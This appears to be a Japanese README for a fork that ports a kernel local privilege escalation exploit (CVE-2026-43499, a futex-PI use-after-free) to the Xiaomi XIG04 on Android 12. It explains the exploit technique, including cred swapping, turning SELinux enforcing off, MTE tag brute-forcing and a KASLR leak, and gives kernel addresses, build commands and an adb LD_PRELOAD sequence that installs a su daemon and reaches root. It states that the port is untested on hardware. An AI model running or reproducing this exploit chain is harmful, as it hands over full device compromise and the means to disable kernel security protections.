
aristotle (au/KDDI Xiaomi XIG04)au/KDDI Xiaomi "aristotle" (XIG04) 向けのローカル権限昇格 (tmp-root) を、Android 12 上で CVE-2026-43499 により実現します。これはデバイスオーナーを利用したルート化プリミティブであり、自分の端末をルート化します(例: 開発者オプションに到達できない場合に ADB を再び有効化するなど)。
これは、上流実装の aristotle ポートです:
https://github.com/x-spy/CVE-2026-43499-popsicle — この上流実装は Xiaomi 17 / Pro / Ultra (popsicle、Snapdragon、Android 16、カーネル 6.12.23) を対象としています。エクスプロイト技術のすべての功績は上流に帰属します。このフォークは別のデバイスとカーネル世代にターゲットを変更しただけです。
対象範囲: 自分の XIG04 で
Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKDを実行している場合のみ。 汎用エクスプロイトやリモートエクスプロイトではありません。
device : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114 (VA=39, 4K pages, KASLR)
CVE-2026-43499 は Linux カーネルの Futex-PI パスにおける use-after-free です: futex_requeue() からのプロキシロックのロールバック中に、kernel/locking/rtmutex.c の remove_waiter() が waiter::task ではなく current を操作するため、ダングリングな pi_blocked_on が残ります。これは古くから存在する長命のバグであり(Linux 2.6.39 – 6.18.x に影響)、したがってここでの 5.10.136 カーネルは影響範囲内です(CONFIG_FUTEX_PI=y、CONFIG_RT_MUTEXES=y)。このエクスプロイトはデータのみの "direct-root"(cred を init_cred に交換し、SELinux enforcing を反転)を使用し、デバイスのハードニング(KASAN_HW_TAGS、MTE、CFI、)を生き残るために MTE タグをブルートフォースします。
上流は Snapdragon / Android 16 / カーネル 6.12 を対象としています。aristotle は MediaTek / Android 12 / カーネル 5.10 なので、このポートではデバイス固有の要素をすべて再導出しています:
rt_mutex_waiter は古いフラットな 5.10 レイアウトです(ネストした rt_waiter_node なし、wake_state/ww_ctx なし)。source/src/{slide,fops}.c と source/src/util.c のフェイクウェイタテーブルは 13 ワードから 10 ワードに再構築されています。xbl_config なし。 KASLR は動的に無効化されます(slide.c でのカーネル情報漏えい)。上流が Qualcomm XBL から取得した2つの物理定数は、静的 DRAM ベース(0x40000000、デバイスツリー由来)と実行時の memstart_addr / kimage_voffset に置き換えられます。ARISTOTLE_CVE43499_PORT.md を参照してください。XIG04 向けに測定済みの source/src/target.h はすでにコミットされているため、直接ビルドできます。ブートイメージから再生成するには、aristotle ジェネレータを使用します(--xbl-config なし。動的に使用するための memstart_addr/kimage_voffset RVA を出力します):
python3 gen_aristotle_target.py \
--boot boot.img \
--pselect-shift 0 \
--loggers 0xffffffc012771380 \
--boot-id-data 0xffffffc012886cf8 \
--kernel-phys-load 0x40080000 \
-o source/src/target.h
(3つのアンカーと kernel-phys-load はコミット済みヘッダーに埋め込まれた値です。これらの値がどのように取得されたかは ARISTOTLE_CVE43499_PORT.md を参照してください。)
Python 3 と Android NDK (r29) が必要です。ペイロードが Android 12 で読み込まれるように、API=31 が必要です:
make -C source clean preload API=31
NDK が自動検出されない場合:
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31
最終成果物:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
成功すると:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
preload.so は読み込み時に独自の su クライアントとデーモンを埋め込み、自己インストールするため、別途 su バイナリは不要です。
ステータス: このポートは静的解析によりコードは完成していますが、ハードウェア上ではまだ 検証されていません。まずクラッシュトリガーを検証し、その後自分のデバイスで root 化してください。 カーネル固有のチューニング項目(
MM_ORDER、P0_KERNEL_PHYS_LOAD、フラットウェイタ の動作)はARISTOTLE_CVE43499_PORT.mdに記載されています。
SCS